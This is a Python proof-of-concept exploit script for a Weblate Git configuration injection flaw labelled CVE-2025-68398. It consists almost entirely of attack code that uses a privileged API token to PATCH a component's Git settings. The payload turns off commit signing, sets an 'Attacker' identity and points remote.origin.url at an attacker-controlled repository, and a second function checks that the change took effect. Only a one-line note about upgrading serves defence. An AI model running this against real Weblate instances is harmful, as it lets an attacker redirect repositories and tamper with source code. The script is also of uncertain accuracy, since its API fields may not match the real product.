CVE-2025-68398

# CVE-2025-68398 PoC - Weblate Git Configuration Override # This PoC demonstrates the Git config injection vulnerability # Note: Requires high-privilege Weblate account import requests import json TARGET_URL = "https://vulnerable-weblate-instance.com" API_TOKEN = "your_weblate_api_token" PROJECT_SLUG = "your_project" COMPONENT_SLUG = "your_component" def override_git_config(): """ Exploit to override Git configuration remotely via Weblate API """ headers = { "Authorization": f"Token {API_TOKEN}", "Content-Type": "application/json" } # Malicious Git configuration payload payload = { "component_settings": { "git_export": { "config": { "user.name": "Attacker", "user.email": "[email protected]", "commit.gpgsign": "false", "remote.origin.url": "https://attacker-controlled-repo.com/malicious.git" } } } } url = f"{TARGET_URL}/api/components/{PROJECT_SLUG}/{COMPONENT_SLUG}/" response = requests.patch(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Git configuration overridden successfully") print("[+] Attacker can now manipulate Git behavior") return True else: print(f"[-] Failed: {response.status_code}") return False def verify_exploitation(): """ Verify if Git config was successfully modified """ headers = { "Authorization": f"Token {API_TOKEN}" } url = f"{TARGET_URL}/api/components/{PROJECT_SLUG}/{COMPONENT_SLUG}/repository/" response = requests.get(url, headers=headers) if response.status_code == 200: repo_info = response.json() print(f"[+] Repository status: {repo_info}") return True return False if __name__ == "__main__": print("[*] CVE-2025-68398 Exploitation Script") print("[*] Target: Weblate < 5.15.1") if override_git_config(): verify_exploitation() print("[*] Patch: Upgrade to Weblate 5.15.1 or later")

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